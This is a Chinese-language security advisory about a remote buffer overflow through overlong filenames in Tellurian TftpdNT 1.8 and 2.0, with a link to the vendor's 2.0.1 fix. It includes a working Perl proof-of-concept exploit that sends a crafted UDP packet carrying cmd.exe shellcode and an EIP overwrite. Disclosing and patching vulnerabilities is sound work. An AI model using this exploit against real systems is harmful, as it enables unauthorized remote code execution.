Tellurian TftpdNT超长文件名缓冲区溢出漏洞
发布日期:2003-08-27
更新日期:2003-09-08
受影响系统:Tellurian TftpdNT 2.0
Tellurian TftpdNT 1.8
不受影响系统:Tellurian TftpdNT 2.0.1
描述:
BUGTRAQ ID:
8505
Tellurian TftpdNT是一款Windows下的TFTP服务器。
Tellurian TftpdNT没有正确处理超长文件名,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以TftpdNT进程权限在系统上执行任意指令。
当程序处理用户提供的超长文件名时,由于缺少充分的边界缓冲区检查,可导致攻击者破坏内部进程内存,精心构建文件名数据可能以TftpdNT进程权限在系统上执行任意指令。
<*来源:storm (
storm@stormdev.net)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=106252411425545&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
storm (
storm@stormdev.net)提供了如下测试方法:
#!/usr/bin/perl -w
#Tellurian TFTP Server buffer overflow vulnerability
use IO::Socket;
$host = "192.168.1.44";
$port = "69";
$shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\
\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\
\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\
\x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F";
$buf = "\x00\x02";
$buf .= "\x41"x(508-length($shellcode));
$buf .= $shellcode;
$buf .= "\x0F\x02\xC7"; # EIP
$buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00";
print "Length: ", length($buf), "\n";
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Done\n";
建议:
厂商补丁:
Tellurian
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载升级到TftpdNT 2.0.1:
http://www.tellurian.com.au/products/trinkets/tftpdNT/浏览次数:3801
严重程度:0(网友投票)